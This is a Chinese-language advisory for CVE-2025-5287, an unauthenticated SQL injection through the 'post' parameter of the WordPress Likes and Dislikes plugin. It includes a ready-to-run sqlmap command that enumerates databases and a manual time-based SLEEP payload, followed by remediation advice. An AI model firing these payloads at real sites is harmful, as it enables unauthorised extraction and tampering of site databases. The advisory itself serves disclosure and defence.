🔥 WordPress Likes and Dislikes 插件 ≤ 1.0.0 - 未认证 SQL 注入

🧠 CVE ID: CVE-2025-5287

发现者: Khaled_Alenazi (Nxploited)   发布时间: 2025年5月27日

---

📋 描述

WordPress 的 Likes and Dislikes 插件 在所有版本 直至 1.0.0（含） 中，通过 post 参数存在 SQL 注入 漏洞。
由于 转义不足 且缺少预处理语句，未认证的攻击者可以将原始 SQL 注入后端查询，导致 数据泄露或篡改。

---

🧬 技术细节

• 脆弱参数: post
• 漏洞类型: SQL 注入（基于布尔和基于时间）
• HTTP 方法: POST
• 受影响端点: /wp-admin/admin-ajax.php
• 补丁状态: ❌ 未修复
• 所需权限: 无（未认证）
• CVSS 评分: 9.3（高危）
• OWASP Top 10: A1 - 注入

---

💥 利用

✅ SQLMap 命令（基于时间的盲 SQL 注入）：

sqlmap -u "http://TARGET/wp-admin/admin-ajax.php" \
--data "action=my_likes_dislikes_action&post=1&state=like" \
--method POST --risk 3 --level 5 --batch --time-sec=5 --dbs

该命令确认注入点并使用基于时间的技术枚举数据库。

🧪 POC 载荷（手工 - 基于时间）：

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: nxploit.ddev.site
Content-Type: application/x-www-form-urlencoded
Connection: close

action=my_likes_dislikes_action&post=1 AND (SELECT 1234 FROM (SELECT(SLEEP(5)))a)&state=like

---

🧪 证据摘要

1. SQLMap 枚举：    - 检测到 基于布尔盲注 和 基于时间盲注 的 SQL 注入。    - 确认后端为 MySQL。    - 枚举数据库：db、test、information_schema。

   

2. 手工验证（Burp Suite）：    - 通过基于时间的载荷确认 HTTP 响应延迟。    - 延迟超过 15 秒，表明存在真实的注入。

   

---

⚠️ 风险

• CVSS 严重性: 9.3（高危）
• 此漏洞可在无需认证的情况下用于提取敏感数据。

---

🔗 参考

• https://patchstack.com/database/wordpress/plugin/inprosysmedia-likes-dislikes-post/vulnerability/wordpress-likes-and-dislikes-plugin-plugin-1-0-0-unauthenticated-sql-injection-vulnerability
• https://nvd.nist.gov/vuln/detail/CVE-2025-5287

---

🛡️ 建议

• 立即清理并使用参数化查询处理 post 输入。
• 使用 预处理语句。
• 实施 WAF 和 速率限制 以减少暴力注入尝试。

---

⚠️ 免责声明

本内容仅供 教育和研究目的 使用。
作者 不赞同 任何恶意活动或在未经 明确授权 的情况下利用系统。

---

👤 作者

Khaled_Alenazi (Nxploited)